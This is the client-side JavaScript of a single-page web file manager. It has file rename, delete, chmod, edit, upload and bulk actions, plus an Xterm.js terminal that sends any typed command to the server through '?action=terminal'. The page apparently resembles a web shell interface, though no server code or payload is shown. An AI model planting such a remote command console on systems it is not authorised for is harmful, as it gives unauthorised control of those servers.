            tableBody.on('click', '.rename-btn', function(e) {
                e.preventDefault();
                e.stopPropagation();
                const originalName = $(this).closest('.file-row').data('name');
                $('#actionType').val('rename');
                $('#originalName').val(originalName);
                $('#itemName').val(originalName);
                $('#formModalLabel').text('Rename');
                $('#itemNameLabel').text('New Name');
                formModal.show();
            });

            tableBody.on('click', '.delete-btn', function(e) {
                e.preventDefault();
                e.stopPropagation();
                const itemNameToDelete = $(this).closest('.file-row').data('name');

                Swal.fire({
                    title: 'Are you sure?',
                    text: `You are about to delete "${itemNameToDelete}". This cannot be undone!`,
                    icon: 'warning',
                    showCancelButton: true,
                    confirmButtonColor: '#f78166',
                    cancelButtonColor: '#30363d',
                    confirmButtonText: 'Yes, delete it!',
                    cancelButtonText: 'Cancel'
                }).then((result) => {
                    if (result.isConfirmed) {
                        $.post(API_URL, {
                                action: 'delete',
                                name: itemNameToDelete
                            }, handleApiResponse, 'json')
                            .fail(() => showError('Failed to send request.'));
                    }
                })
            });

            let itemToChmod = '';
            tableBody.on('click', '.chmod-btn', function(e) {
                e.preventDefault();
                e.stopPropagation();
                itemToChmod = $(this).closest('.file-row').data('name');
                const currentPerms = $(this).data('current-perms');
                $('#chmodItemName').text(itemToChmod);
                $('#chmodValue').val(currentPerms);
                chmodModal.show();
            });

            let fileToEdit = '';

            function editFile(fileName) {
                showLoading('Loading File', `Opening <strong>${fileName}</strong>...`);

                fileToEdit = fileName;
                $('#editorModalLabel').text(`Edit File: ${fileToEdit}`);
                const extension = fileToEdit.split('.').pop().toLowerCase();
                let mode = 'text';
                const modeMap = {
                    js: 'javascript',
                    css: 'css',
                    html: 'html',
                    json: 'json',
                    md: 'markdown',
                    sh: 'sh'
                };
                if (modeMap[extension]) mode = modeMap[extension];
                editor.session.setMode(`ace/mode/${mode}`);

                $.get(API_URL, {
                    action: 'get-content',
                    name: fileToEdit
                }, function(response) {
                    if (response.success) {
                        Swal.close();
                        editor.setValue(response.content, -1);
                        editorModal.show();
                    } else {
                        showError(response.message);
                    }
                }).fail(function() {
                    showError('Error');
                });
            }

            tableBody.on('click', '.edit-btn', function(e) {
                e.preventDefault();
                e.stopPropagation();
                const fileName = $(this).closest('.file-row').data('name');
                editFile(fileName);
            });

            tableBody.on('click', '.download-btn', function(e) {
                e.preventDefault();
                e.stopPropagation();
                const fileName = $(this).closest('.file-row').data('name');
                window.location.href = `?action=download&name=${encodeURIComponent(fileName)}`;
            });

            $('#createFileBtn, #fabCreateFile').on('click', function() {
                $('#actionType').val('create-file');
                $('#itemForm')[0].reset();
                $('#formModalLabel').text('Create New File');
                $('#itemNameLabel').text('File Name');
                $('#itemName').attr('placeholder', 'e.g., newfile.txt');
                formModal.show();
                if ($('.fab-container').hasClass('active')) $('.fab-container').removeClass('active');
            });

            $('#createDirBtn, #fabCreateDir').on('click', function() {
                $('#actionType').val('create-dir');
                $('#itemForm')[0].reset();
                $('#formModalLabel').text('Create New Directory');
                $('#itemNameLabel').text('Directory Name');
                $('#itemName').attr('placeholder', 'e.g., new_folder');
                formModal.show();
                if ($('.fab-container').hasClass('active')) $('.fab-container').removeClass('active');
            });

            $('#saveBtn').on('click', function() {
                const action = $('#actionType').val();
                const name = $('#itemName').val();
                if (!name) return showError('Name cannot be empty!');

                let postData = {
                    action: action,
                    name: name
                };
                if (action === 'rename') {
                    postData.old_name = $('#originalName').val();
                    postData.new_name = name;
                }

                $.post(API_URL, postData, handleApiResponse, 'json').fail(() => showError('An error occurred.'));
                formModal.hide();
            });

            $('#saveChmodBtn').on('click', function() {
                const perms = $('#chmodValue').val();
                if (!perms) return showError('Permissions value cannot be empty!');

                $.post(API_URL, {
                        action: 'chmod',
                        name: itemToChmod,
                        perms: perms
                    }, handleApiResponse, 'json')
                    .fail(() => showError('An error occurred.'));
                chmodModal.hide();
            });

            $('#saveEditorBtn').on('click', function() {
                const content = editor.getValue();
                $.post(API_URL, {
                    action: 'save-content',
                    name: fileToEdit,
                    content: content
                }, function(response) {
                    if (response.success) {
                        showSuccess('File saved successfully.');
                        editorModal.hide();
                    } else {
                        showError(response.message);
                    }
                }, 'json').fail(() => showError('An error occurred.'));
            });

            const fabContainer = $('.fab-container');
            const fabButton = $('.fab-main-button');
            let fabIsDragging = false;
            fabButton.on('mousedown', function(e) {
                fabIsDragging = false;
                const fabInitialX = e.clientX,
                    fabInitialY = e.clientY;
                const pos = fabContainer.offset();
                const fabOffsetX = e.clientX - pos.left,
                    fabOffsetY = e.clientY - pos.top;

                function handleFabMouseMove(e) {
                    if (Math.abs(e.clientX - fabInitialX) > 5 || Math.abs(e.clientY - fabInitialY) > 5) {
                        fabIsDragging = true;
                        if (fabContainer.hasClass('active')) fabContainer.removeClass('active');
                    }
                    if (fabIsDragging) {
                        fabContainer.css({
                            right: 'auto',
                            bottom: 'auto',
                            left: (e.clientX - fabOffsetX) + 'px',
                            top: (e.clientY - fabOffsetY) + 'px'
                        });
                    }
                }

                function handleFabMouseUp() {
                    $(document).off('mousemove', handleFabMouseMove).off('mouseup', handleFabMouseUp);
                    setTimeout(() => {
                        fabIsDragging = false;
                    }, 0);
                }
                $(document).on('mousemove', handleFabMouseMove).on('mouseup', handleFabMouseUp);
            });
            fabButton.on('click', function(e) {
                if (fabIsDragging) return e.stopImmediatePropagation();
                fabContainer.toggleClass('active');
            });

            $('#fabUploadFile').on('click', function() {
                $('#fileUploadInput').click();
                fabContainer.removeClass('active');
            });

            $('#fileUploadInput').on('change', function() {
                if (this.files.length === 0) return;

                const formData = new FormData();
                formData.append('action', 'upload-file');
                for (let i = 0; i < this.files.length; i++) {
                    formData.append('files_to_upload[]', this.files[i]);
                }

                showLoading('Uploading Files...', `Uploading ${this.files.length} selected file(s).`);

                $.ajax({
                    url: API_URL,
                    type: 'POST',
                    data: formData,
                    processData: false,
                    contentType: false,
                    dataType: 'json',
                    success: handleApiResponse,
                    error: function() {
                        showError('Upload failed. Check console.');
                    },
                    complete: function() {
                        $('#fileUploadInput').val('');
                    }
                });
            });

            loadFiles();
            updateHeaderStats();

            // AKSI MASSAL
            const bulkBar = $('#bulkActions');
            const selectedCount = $('#selectedCount');
            const selectAll = $('#selectAll');

            function getSelectedFiles() {
                return $('.file-checkbox:checked').closest('.file-row').map(function() {
                    return $(this).data('name');
                }).get();
            }

            function updateBulkBar() {
                const checkedCount = $('.file-checkbox:checked').length;
                selectedCount.text(checkedCount);
                if (checkedCount > 0) bulkBar.removeClass('d-none');
                else bulkBar.addClass('d-none');
                const totalCheckboxes = $('.file-checkbox').length;
                selectAll.prop('checked', checkedCount > 0 && checkedCount === totalCheckboxes);
            }

            $(document).on('change', '.file-checkbox', updateBulkBar);
            selectAll.on('change', function() {
                $('.file-checkbox').prop('checked', this.checked);
                updateBulkBar();
            });

            $('#bulkDelete').on('click', function() {
                const files = getSelectedFiles();
                if (!files.length) return;

                Swal.fire({
                    title: 'Confirm Bulk Delete',
                    text: `Are you sure you want to delete ${files.length} selected items?`,
                    icon: 'warning',
                    showCancelButton: true,
                    confirmButtonColor: '#f78166',
                    cancelButtonColor: '#30363d',
                    confirmButtonText: 'Yes, Delete All',
                    cancelButtonText: 'Cancel'
                }).then((result) => {
                    if (result.isConfirmed) {
                        $.post(API_URL, {
                                action: 'bulk-delete',
                                items: JSON.stringify(files)
                            }, handleApiResponse, 'json')
                            .fail(() => showError('Failed to send bulk delete request.'));
                    }
                });
            });

            $('#bulkDownload').on('click', function() {
                const files = getSelectedFiles();
                if (!files.length) return;
                const url = `?action=bulk-download&items=${encodeURIComponent(JSON.stringify(files))}`;
                window.location.href = url;
            });

            $('#bulkChmod').on('click', function() {
                const files = getSelectedFiles();
                if (!files.length) return;
                $('#bulkChmodCount').text(files.length);
                $('#bulkChmodValue').val('');
                bulkChmodModal.show();
            });

            $('#saveBulkChmodBtn').on('click', function() {
                const files = getSelectedFiles();
                const perms = $('#bulkChmodValue').val();
                if (!perms.match(/^[0-7]{4}$/)) {
                    return showError('Invalid permission format. Use a 4-digit octal value (e.g., 0755).');
                }
                $.post(API_URL, {
                        action: 'bulk-chmod',
                        items: JSON.stringify(files),
                        perms: perms
                    }, handleApiResponse, 'json')
                    .fail(() => showError('An error occurred.'));
                bulkChmodModal.hide();
            });

            let contextTarget = null;
            $(document).on('contextmenu', '.file-row', function(e) {
                e.preventDefault();
                $('.row-context-active').removeClass('row-context-active');
                contextTarget = $(this).addClass('row-context-active');
                $('#contextMenu').css({
                    top: e.pageY + 'px',
                    left: e.pageX + 'px'
                }).show();
            });

            $(document).on('click', function() {
                $('#contextMenu').hide();
                $('.row-context-active').removeClass('row-context-active');
            });

            // Context actions
            $('.ctx-edit').on('click', function() {
                contextTarget && contextTarget.find('.edit-btn').click();
            });
            $('.ctx-rename').on('click', function() {
                contextTarget && contextTarget.find('.rename-btn').click();
            });
            $('.ctx-download').on('click', function() {
                contextTarget && contextTarget.find('.download-btn').click();
            });
            $('.ctx-delete').on('click', function() {
                contextTarget && contextTarget.find('.delete-btn').click();
            });
        });
    </script>
    <script>
        // --- [MODIFIED] Xterm.js Terminal Logic with Streaming ---
        const gruvboxDarkTheme = {
            background: '#161b22',
            foreground: '#c9d1d9',
            cursor: '#f78166',
            selectionBackground: '#504945',
            black: '#282828',
            brightBlack: '#928374',
            red: '#cc241d',
            brightRed: '#fb4934',
            green: '#98971a',
            brightGreen: '#b8bb26',
            yellow: '#d79921',
            brightYellow: '#fabd2f',
            blue: '#458588',
            brightBlue: '#83a598',
            magenta: '#b16286',
            brightMagenta: '#d3869b',
            cyan: '#689d6a',
            brightCyan: '#8ec07c',
            white: '#a89984',
            brightWhite: '#ebdbb2'
        };
        const term = new Terminal({
            cursorBlink: true,
            allowTransparency: true,
            theme: gruvboxDarkTheme
        });
        const fitAddon = new FitAddon.FitAddon();
        term.loadAddon(fitAddon);
        term.open(document.getElementById('terminal'));
        fitAddon.fit();

        let command = '';
        const prompt = '$ ';
        term.write(prompt);

        term.onData(data => {
            // Handle Enter key
            if (data === '\r') {
                const trimmedCommand = command.trim();
                term.writeln('');

                if (trimmedCommand === 'clear') {
                    term.clear();
                    term.write(prompt);
                } else if (trimmedCommand) {
                    // Use Fetch API to handle both normal and streaming responses
                    fetch('?action=terminal', {
                            method: 'POST',
                            headers: {
                                'Content-Type': 'application/json'
                            },
                            body: JSON.stringify({
                                cmd: trimmedCommand
                            })
                        })
                        .then(response => {
                            const contentType = response.headers.get("content-type");
                            if (contentType && contentType.includes("application/json")) {
                                return response.json().then(data => {
                                    if (data.output) {
                                        term.write(data.output.replace(/\n/g, '\r\n'));
                                    }
                                    term.write('\r\n' + prompt);
                                });
                            } else {
                                const reader = response.body.getReader();
                                const decoder = new TextDecoder();

                                function processStream() {
                                    return reader.read().then(({
                                        done,
                                        value
                                    }) => {
                                        if (done) {
                                            term.write('\r\n' + prompt);
                                            return;
                                        }
                                        const chunk = decoder.decode(value, {
                                            stream: true
                                        });
                                        term.write(chunk.replace(/\n/g, '\r\n'));
                                        return processStream();
                                    });
                                }
                                return processStream();
                            }
                        })
                        .catch(error => {
                            console.error('Terminal command failed:', error);
                            term.writeln('\r\n\x1b[31mError: ' + error.message + '\x1b[0m');
                            term.write('\r\n' + prompt);
                        });
                } else {
                    term.write(prompt);
                }
                command = '';
            }
            else if (data === '\x7f') {
                if (command.length > 0) {
                    term.write('\b \b'); 
                    command = command.slice(0, -1);
                }
            }
            else {
                command += data;
                term.write(data);
            }
        });

        term.onKey(({
            domEvent
        }) => {
            if (domEvent.ctrlKey && domEvent.key.toLowerCase() === 'l') {
                domEvent.preventDefault();
                term.clear();
                term.write(prompt + command);
            }
        });
    </script>
</body>

</html>